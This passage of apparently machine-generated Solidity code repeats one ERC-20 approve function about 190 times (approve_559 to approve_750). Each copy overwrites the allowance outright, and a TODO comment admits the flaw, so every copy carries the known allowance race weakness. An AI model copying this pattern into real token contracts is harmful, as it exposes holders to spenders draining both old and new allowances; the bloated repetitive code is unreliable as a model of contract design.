emit Approval( msg.sender, spender, value );
return true;
}
function approve_559(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_560(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_561(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_562(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_563(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_564(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_565(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_566(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_567(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_568(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_569(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_570(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_571(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_572(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_573(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_574(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_575(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_576(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_577(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_578(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_579(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_580(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_581(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_582(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_583(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_584(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_585(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_586(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_587(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_588(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_589(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_590(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_591(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_592(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_593(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_594(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_595(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_596(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_597(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_598(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_599(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_600(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_601(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_602(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_603(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_604(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_605(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_606(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_607(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_608(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_609(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_610(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_611(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_612(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_613(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_614(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_615(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_616(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_617(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_618(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_619(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_620(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_621(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_622(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_623(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_624(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_625(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_626(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_627(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_628(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_629(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_630(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_631(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_632(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_633(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_634(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_635(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_636(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_637(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_638(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_639(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_640(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_641(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_642(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_643(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_644(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_645(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_646(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_647(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_648(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_649(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_650(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_651(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_652(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_653(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_654(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_655(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_656(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_657(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_658(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_659(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_660(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_661(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_662(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_663(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_664(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_665(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_666(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_667(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_668(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_669(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_670(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_671(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_672(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_673(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_674(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_675(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_676(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_677(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_678(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_679(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_680(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_681(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_682(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_683(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_684(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_685(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_686(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_687(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_688(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_689(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_690(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_691(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_692(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_693(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_694(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_695(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_696(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_697(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_698(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_699(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_700(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_701(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_702(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_703(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_704(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_705(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_706(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_707(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_708(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_709(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_710(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_711(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_712(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_713(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_714(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_715(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_716(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_717(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_718(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_719(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_720(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_721(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_722(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_723(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_724(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_725(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_726(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_727(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_728(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_729(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_730(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_731(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_732(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_733(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_734(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_735(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_736(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_737(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_738(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_739(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_740(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_741(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_742(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_743(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_744(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_745(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_746(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_747(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_748(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_749(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_750(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
